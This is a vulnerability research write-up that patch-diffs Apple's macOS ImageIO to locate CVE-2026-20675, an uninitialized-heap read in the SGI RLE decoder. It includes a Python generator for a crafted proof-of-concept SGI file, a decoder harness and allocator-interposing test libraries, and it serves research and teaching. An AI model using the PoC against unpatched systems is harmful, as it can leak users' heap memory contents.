Patch diffing is powerful, we show you why. Starting with Apple's one-line advisory for CVE-2026-20675, we extract the vulnerable code from ImageIO's diff, build a harness, craft an exploit, and trigger the bug live on vulnerable macOS. The journey: patch diff → PoC → harness → crash.
Everything in this write-up — fuzzing ImageIO, building a decoder harness, and turning a one-line patch diff into a working PoC — is exactly what you practice in iOS Userland Fuzzing & Exploitation: AFL++/LibAFL, LLDB, and 0-click exploit development against real Apple targets on a Corellium iPhone.
Explore the iOS Userland Fuzzing course →TL;DR — CVE-2026-20675 is an uninitialized-heap information disclosure in Apple ImageIO's SGI (Silicon Graphics Image) decoder. The RLE code path (
SGIReadPlugin::decodeSGI_RLEcompressed) validates each scanline'soffsetandlengthagainst the file size individually, but never checksoffset + length. A scanline whose two fields are each in-range but whose sum overruns the file causes the decompressor to consume the uninitialized tail of its scratch buffer and copy those bytes into the output image. We isolated the fix by diffing macOS 26.2 vs 26.3 (SGI isn't reachable on iOS), built the trigger from the added check, and confirmed the leak on a live vulnerable macOS with a canary allocator: whatever byte we place in freshly-allocated memory appears verbatim in the decoded pixels. Apple's "disclosure of user information" is exactly right.
ImageIO is Apple's core image-parsing framework, embedded in the dyld_shared_cache on every Apple platform. It decodes every image format the OS supports through a plugin architecture: each format is an IIOReadPlugin subclass with a decodeImageImp method. Because thumbnails, previews, Mail, Safari, and Quick Look all funnel image data through ImageIO, a memory-safety bug here is reachable in a huge number of contexts.
The format that matters here is SGI — the Silicon Graphics Image format (.sgi, .rgb, .bw). It is old, simple, and rarely scrutinized. Its 512-byte big-endian header:
offset field meaning
0 magic 0x01DA (474)
2 storage 0 = verbatim, 1 = RLE
3 bpc bytes per channel (1 or 2)
4 dimension 1..3
6 xsize width (u16)
8 ysize height (u16)
10 zsize channels(u16)
... (name, pixmin/max, colormap) → 512-byte header
In RLE mode, the header is followed by two per-scanline tables of ntables = ysize × zsize big-endian uint32s — a start-offset table and a byte-length table — locating each scanline's compressed run data inside the file. Those two attacker-controlled tables are the whole story.
@gkarchemsky), Trend Micro Zero Day Initiative (ZDI-26-174)Our first instinct was to diff iOS (26.2.1 → 26.3), which is what our earlier post did. That analysis drowned in noise — a Kakadu JPEG2000 SDK bump, a libwebp rebuild, and a framework-wide -fbounds-safety recompile — and fixated on a uniform if (IIOImageType > 3) trap() guard that turned out to be a red herring (it is bounds-safety instrumentation, present in every decoder, not the CVE).
The breakthrough was a reachability check. Enumerating supported decoders on each platform:
CGImageSourceCopyTypeIdentifiers():
iOS 26.1 → 60 types, NO "com.sgi.sgi-image"
macOS 26.3 → 62 types, INCLUDES "com.sgi.sgi-image"
iOS does not register an SGI reader. The code is compiled into the shared cache (the magic check cmp w0, 0x1DA is present) but it is never wired into the plugin table, so CGImageSource will not dispatch to it. That is exactly why ZDI scopes CVE-2026-20675 to Apple macOS. Diffing iOS binaries for this bug is a dead end — and indeed, all of the iOS SGI functions are byte-identical between 26.2.1 and 26.3.
So we pivoted to the correct target: the macOS ImageIO dylib.
| Role | Version | Build | Arch |
|---|---|---|---|
| Vulnerable | macOS 26.2 | 25C56 | arm64e |
| Patched | macOS 26.3 | 25D125 | arm64e |
We extracted ImageIO from each machine's shared cache with ipsw dyld macho … --extract. Crucially, the macOS build retains full C++ symbols for the SGI reader — SGIReadPlugin::decodeSGI_RLEcompressed, decodeSGI_Uncompressed, initialize, testHeader — which iOS strips. That turned a needle-in-a-haystack search into a targeted four-function diff.
The entire diff runs on two tools plus a few lines of shell — no IDA, no Ghidra GUI, no JVM:
| Tool | Role |
|---|---|
ipsw (blacktop) | download the shared cache and carve out the ImageIO dylib |
rz-bin / rz-diff (rizin) | list symbols, and structurally diff ~14k functions to rank what changed |
rizin pdf / r2ghidra pdg | disassembly and JVM-free decompilation of one function, before vs after |
sed + diff | normalize away address rebasing and register allocation, isolating the semantic change |
Diff adjacent releases to minimise unrelated noise — the patched build and the one immediately before it. ipsw resolves a macOS version to its build number (and firmware URL) with --urls, and hw.model feeds it the right device:
MODEL=$(sysctl -n hw.model) # e.g. Mac15,10
ipsw download ipsw --macos --device "$MODEL" --version 26.3 --urls | head -1 # → 25D125 (patched)
ipsw download ipsw --macos --device "$MODEL" --version 26.2 --urls | head -1 # → 25C56 (vuln)
| Role | OS | Build |
|---|---|---|
| Vulnerable | macOS 26.2 | 25C56 |
| Patched | macOS 26.3 | 25D125 |
You never need the full ~14 GB firmware. --dyld streams only the shared cache out of the remote IPSW over HTTP range requests — a few GB — and if your own machine already runs the patched build, its live cache is the fixed side for free:
# patched side — free, straight from THIS machine's live cache
PATCHED_CACHE=/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# vulnerable side — remote-stream just the arm64e cache (not the whole IPSW)
ipsw download ipsw --macos --device "$MODEL" --version 26.2 \
--dyld --dyld-arch arm64e --confirm --output ./macos/vuln
ipsw dyld macho … --extract carves a single image out of each cache:
DYLIB=/System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO
ipsw dyld macho "$PATCHED_CACHE" "$DYLIB" --extract --output ./macos/patched
ipsw dyld macho ./macos/vuln/*/dyld_shared_cache_arm64e "$DYLIB" --extract --output ./macos/vuln
Then the two-second check that would have saved us a day: confirm the vulnerable code actually lives in this binary before diffing. Our first pass diffed iOS ImageIO — which contains no SGI parser at all — and burned hours on a binary that never had the bug. A symbol grep catches it instantly:
$ rz-bin -q -s ./macos/patched/ImageIO | grep -i sgi
... SGIReadPlugin::decodeSGI_RLEcompressed(unsigned char*, unsigned long)
... SGIReadPlugin::decodeSGI_Uncompressed(unsigned char*, unsigned long)
... SGIReadPlugin::initialize(IIODictionary*)
# (empty result → wrong binary / OS — stop and re-scope)
$ md5 -q macos/vuln/ImageIO macos/patched/ImageIO # must differ
rizin's is command lists symbols; filtering for SGI on the vulnerable binary points straight at the four functions worth diffing:
$ rizin -q -c "is~SGI" vuln_262/ImageIO
0x18d45044c SGIReadPlugin::initialize(IIODictionary*)
0x18d4506bc SGIReadPlugin::decodeSGI_RLEcompressed(unsigned char*, unsigned long)
0x18d593dac SGIReadPlugin::decodeSGI_Uncompressed(unsigned char*, unsigned long)
0x18d594288 SGIReadPlugin::decodeImageImp(IIODecodeParameter*, IIOImageType, ...)
0x18d392074 IIO_Reader_SGI::testHeader(unsigned char const*, ...)
On iOS the same query returns only the UTI string constant — the reader is compiled in but never registered. We confirmed the dormant code is still there by searching for the SGI magic number (474 = 0x1DA) as an instruction immediate:
$ rizin -q -c "/a mov w8, 0x1da" patched_ios/ImageIO # matches the format check
0x186073bd0 ... ; the SGI testHeader, present but unreachable via the plugin table
For each candidate we disassemble the same function in both binaries and diff — but a raw diff is useless, because every address and half the register names differ between builds. The trick is a one-line normalizer that masks addresses to A and registers to R, leaving only mnemonics and structure:
# keep instruction stream; mask addresses (A) and registers (R)
strip(){ sed -E 's/^0x[0-9a-f]+[[:space:]]+//; s/0x[0-9a-f]+/A/g; s/(x|w)[0-9]+/R/g'; }
# disassemble decodeSGI_RLEcompressed in each build, normalize, diff
rizin -q -c "af @ 0x18d4506bc; pdf @ 0x18d4506bc" vuln_262/ImageIO | strip > rle_v.txt
rizin -q -c "af @ 0x18d4a3584; pdf @ 0x18d4a3584" patched_263/ImageIO | strip > rle_p.txt
diff -u rle_v.txt rle_p.txt
Run across all four SGI functions, this immediately sorts signal from noise: decodeSGI_Uncompressed differs only in compiler function-outlining numbers, initialize gained generic -fbounds-safety range checks, and decodeSGI_RLEcompressed yields exactly one semantic change — the added offset + length comparison. That normalized diff is what the next section reads.
Diffing the SGI functions (normalized for address rebasing and register allocation), decodeSGI_Uncompressed differed only in compiler function-outlining numbers, and the header parser gained some -fbounds-safety range checks. The single security-relevant semantic change was in decodeSGI_RLEcompressed, in the loop that validates the scanline offset/length tables:
ldr x9, [x22, 0xc8] ; x9 = bytesAvailable (file size)
ldr w10, [x19, x8, lsl 2] ; w10 = offsetTable[i]
rev w10, w10
cmp x9, w10
b.ls <err> ; err if fileSize <= offset
ldr w10, [x20, x8, lsl 2] ; w10 = lengthTable[i]
rev w10, w10
cmp x9, w10
b.ls <err> ; err if fileSize <= length
cmp w0, w10
csel w0, w0, w10, hi ; w0 = max(length) → decompress buffer size
ldr x9, [x22, 0xc8] ; fileSize
ldr w10, [x19, x8, lsl 2] ; offset
ldr w11, [x20, x8, lsl 2] ; length ; <-- now loads BOTH
rev w10, w10
rev w11, w11
add w12, w11, w10 ; w12 = offset + length ; <-- NEW
cmp x9, w10 ; fileSize vs offset
ccmp x9, w11, #0, hi ; && fileSize vs length
ccmp x9, w12, #0, hi ; && fileSize vs (offset+length) ; <-- NEW CHECK
b.lo <err> ; err unless all three hold
The vulnerable code checks offset < fileSize and length < fileSize separately. The patch adds a third comparison: offset + length ≤ fileSize. That is the entire fix — a classic "each field is valid, but their sum isn't" bounds bug.
The diff hands us the trigger directly. We need a valid RLE SGI where, for at least one scanline:
offset < fileSize ✓ (passes the old offset check)length < fileSize ✓ (passes the old length check)offset + length > fileSize ✗ (only the new check catches this)A minimal generator — a real 64×64×3 RLE image, with scanline 0's table entries tampered:
import struct
def hdr(bpc,x,y,z):
h=bytearray(512); struct.pack_into('>H',h,0,474) # magic
h[2]=1; h[3]=bpc # storage=RLE, bpc
struct.pack_into('>H',h,4,3) # dimension
struct.pack_into('>H',h,6,x); struct.pack_into('>H',h,8,y)
struct.pack_into('>H',h,10,z); struct.pack_into('>I',h,16,255)
return h
def rle_row(npix): # simple valid RLE scanline
out=bytearray(); left=npix
while left>0:
r=min(0x7f,left); out.append(r); out.append(0xAB); left-=r
out.append(0); return bytes(out)
x,y,z,bpc = 64,64,3,1
nt=y*z; row=rle_row(x); ds=512+nt*8
filesize = ds+len(row)
off=[ds]*nt; ln=[len(row)]*nt
off[0]=filesize-2; ln[0]=filesize-2 # each < filesize, sum ≈ 2×filesize
ot=b''.join(struct.pack('>I',o) for o in off)
lt=b''.join(struct.pack('>I',l) for l in ln)
open('poc_sgi_rle_oob_minimal.sgi','wb').write(bytes(hdr(bpc,x,y,z))+ot+lt+row)
The resulting file is 2051 bytes. Scanline 0 has offset = 2049 and length = 2049 — both below 2051, so 26.2 accepts them — but offset + length = 4098, which only 26.3 rejects. Exactly the condition the patch added.
poc_sgi_intoverflow_rle.sgi) is accepted as a 32768×32768 image — ImageIO trusts the attacker-supplied dimensions. The hash da39a3ee… is SHA-1 of empty data: the 4 GB pixel buffer is never materialized, so no pixels are returned in this variant.The decoder allocates a scratch buffer sized to the largest scanline length, then for each scanline calls getBytesAtOffset(buf, offset, length). That copy safely clamps to the bytes actually present in the file (min(length, fileSize − offset)) — so when offset + length > fileSize, only part of the buffer is filled and the tail is left uninitialized. The RLE decompressor then consumes the full length, reading that uninitialized tail and emitting it into the output image. That is the information leak.
🎯 Harness construction for ImageIO, CoreText and CoreAudio is a full module in iOS Userland Fuzzing & Exploitation — build the harness, wire it into AFL++/LibAFL, and drive it against a live iPhone.
To exercise the exact code path, we need a minimal ImageIO decoder. On macOS that is a dozen lines of Objective-C — no app, no entitlements:
// host_probe.m — clang -framework ImageIO -framework CoreFoundation \
// -framework CoreGraphics -o host_probe host_probe.m
#import <ImageIO/ImageIO.h>
#import <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
CFStringRef p = CFStringCreateWithCString(NULL, argv[1], kCFStringEncodingUTF8);
CFURLRef u = CFURLCreateWithFileSystemPath(NULL, p, kCFURLPOSIXPathStyle, false);
CGImageSourceRef s = CGImageSourceCreateWithURL(u, NULL);
if (!s) { printf("NOSRC\n"); return 0; }
CGImageRef img = CGImageSourceCreateImageAtIndex(s, 0, NULL);
if (img) {
CGDataProviderRef dp = CGImageGetDataProvider(img); // force pixel decode
CFDataRef px = dp ? CGDataProviderCopyData(dp) : NULL;
unsigned char h[20];
if (px) { CC_SHA1(CFDataGetBytePtr(px), CFDataGetLength(px), h); /* print hash */ }
}
return 0;
}
Two problems stand between this and a clean read-vs-write verdict, and each needs a small tool.
We compiled an AddressSanitizer build to try to catch the bad read. It reported nothing — because ImageIO allocates through the typed allocator (malloc_type_malloc / malloc_type_calloc), which ASan does not intercept, and its large image buffers come from __ImageIO_Malloc, which is backed by mmap, not the malloc heap. Neither carries ASan redzones. We bridged the typed allocator to the ASan-instrumented one with a tiny interposer:
// interpose_mt.dylib — route malloc_type_* to plain malloc/calloc (ASan-visible)
static void *x_malloc(size_t s, unsigned long long t){ return malloc(s); }
static void *x_calloc(size_t c,size_t s,unsigned long long t){ return calloc(c,s); }
#define IP(n,o) __attribute__((used,section("__DATA,__interpose"))) \
static const struct{const void*a;const void*b;}_ip_##o={(const void*)n,(const void*)o};
IP(x_malloc, malloc_type_malloc)
IP(x_calloc, malloc_type_calloc)
// ... realloc/valloc/aligned + zone variants ...
With DYLD_INSERT_LIBRARIES=interpose_mt.dylib, dyld confirms it redirects every malloc_type_* symbol, and ~2,200 ImageIO allocations per decode now carry redzones.
Even with ImageIO instrumented, ASan stays silent on the PoC. That is not a null result — it is diagnostic. We proved there is no out-of-bounds access by feeding the file through a malloc'd buffer of exactly the file size (CFDataCreateWithBytesNoCopy + CGImageSourceCreateWithData), so ImageIO reads our redzoned buffer. Even with offset + length ≈ 2×fileSize, ASan does not fire — meaning getBytesAtOffset clamps and never reads past the input. The leak is a read of uninitialized bytes inside a valid allocation, which is MemorySanitizer's domain, and MSan doesn't exist for macOS/arm64 system libraries.
So we built the practical equivalent: a canary allocator that fills every freshly-allocated (non-zeroing) block with an env-controlled byte, leaving calloc zeroing. If uninitialized memory reaches the output, the canary byte will appear in the decoded pixels.
// interpose_canary.dylib — fill fresh allocations with $CANARY
static unsigned char CAN = 0xCC;
static void *m(size_t s){ void*p=malloc(s); if(p) memset(p,CAN,s); return p; }
static void *x_malloc(size_t s, unsigned long long t){ return m(s); }
static void *x_calloc(size_t c,size_t s,unsigned long long t){ return calloc(c,s); } // stays zeroed
IP(m, malloc) IP(x_malloc, malloc_type_malloc) IP(x_calloc, malloc_type_calloc)
// constructor: CAN = getenv("CANARY")
First, the black-box behavior on the two builds. On the vulnerable macOS 26.2 the PoC decodes to a real image; on patched 26.3 every OOB PoC collapses to a single uniform blank — the offset+length check rejecting it:
vuln 26.2 poc_sgi_rle_oob_minimal.sgi → OK 64x64 pix=af71a978...
patch 26.3 poc_sgi_rle_oob_minimal.sgi → OK 64x64 pix=547372f1... (uniform blank)
both benign valid_rle.sgi → identical, stable
Now the decisive run. We decode the PoC on the vulnerable host while varying the canary byte, and count how many bytes of that value appear in the 16,384-byte decoded image. Because a fill byte like 0xCC is itself a valid RLE literal-run opcode, the uninitialized tail is copied verbatim into the pixels:
| Fill byte ($CANARY) | Bytes of that value in output | Output SHA-1 |
|---|---|---|
| 0xCC | 62 | cfcfa023… |
| 0xC1 | 62 | 87813253… |
| 0x41 | 62 | 3194d696… |
| 0xAA | 62 | c2d8d181… |
| benign valid_rle.sgi | 0 | identical every time |
Whatever byte we place in freshly-allocated heap shows up — verbatim, 62 times — in the decoded image, and the whole image tracks it. A benign image never does. That is the vulnerability made concrete: uninitialized heap contents are copied straight into the output pixels, where an attacker who gets the rendered/re-encoded image back can read them. In a real decode those 62 bytes are whatever previously lived in that freed heap region.
ZDI-26-174 is titled "Integer Overflow → Remote Code Execution." Our evidence — the patch (a read-bounds check), ~12k fuzzing iterations under normal / Guard Malloc / ASan, and the canary experiment — all point to an out-of-bounds / uninitialized read (information disclosure, CWE-908), matching Apple's own wording. We could not reproduce a controlled heap write: the RLE decompressor bounds its output to xsize, the dimensions are clamped (zsize ≤ 4, bpc ≤ 2) so the size arithmetic doesn't overflow, and no crafted input crashed. If a write/RCE primitive exists it needs conditions beyond this harness; on the binary and dynamic evidence, this is an info-leak.
This bug is a useful lesson in sanitizer scope:
mmap-backed, not malloc-zoned.The whole investigation turned on realizing SGI isn't registered on iOS. Enumerating CGImageSourceCopyTypeIdentifiers on each platform before diffing would have saved the first, inconclusive pass. Match your binaries to the advisory's actual attack surface.
The macOS ImageIO retains C++ symbols (SGIReadPlugin::decodeSGI_RLEcompressed) that iOS strips. When a bug is cross-platform, diff the build that keeps names — it collapses a 14,000-function search to a handful.
The bug is a textbook missing a + b check where a and b are individually validated. When you see per-field bounds checks, always ask whether the sum, product, or range is checked too.
Reaching for ASan on an uninitialized-memory disclosure wastes time. Know what each tool detects; when none fits, a 30-line interposer (typed-malloc bridge, canary fill) is often the fastest path to ground truth.
| Item | Value |
|---|---|
| Vulnerable / patched | macOS 26.2 (25C56) → 26.3 (25D125), arm64e |
| Vulnerable function | SGIReadPlugin::decodeSGI_RLEcompressed |
| Root cause | missing offset + length ≤ fileSize check (RLE scanline table) |
| Bug class | uninitialized-heap read / info disclosure (CWE-908) |
| Minimal PoC | 2051-byte RLE SGI; scanline 0 offset=length=2049 |
| Leak demonstrated | 62 verbatim heap bytes per 64×64 image (canary-controlled) |
| iOS reachable? | No — SGI reader not registered (macOS-only) |
Binary patch diffing, harness construction, and dynamic confirmation are core skills for vulnerability researchers. Mobile Hacking Lab's courses teach the exact techniques used here:
Start the iOS Userland Fuzzing & Exploitation course →
-fbounds-safety — the framework-wide hardening that dominated the noiseWant to learn binary patch diffing, harness construction, and exploit development for mobile and native platforms? Mobile Hacking Lab provides pre-configured virtual labs where you practice real reverse engineering and exploitation. Start with the free labs, or jump to iOS Userland Fuzzing & Exploitation. For discovering bugs like this at scale, see Djini.ai — AI-powered vulnerability discovery for OOB reads, memory corruption, and logic flaws across mobile and native codebases.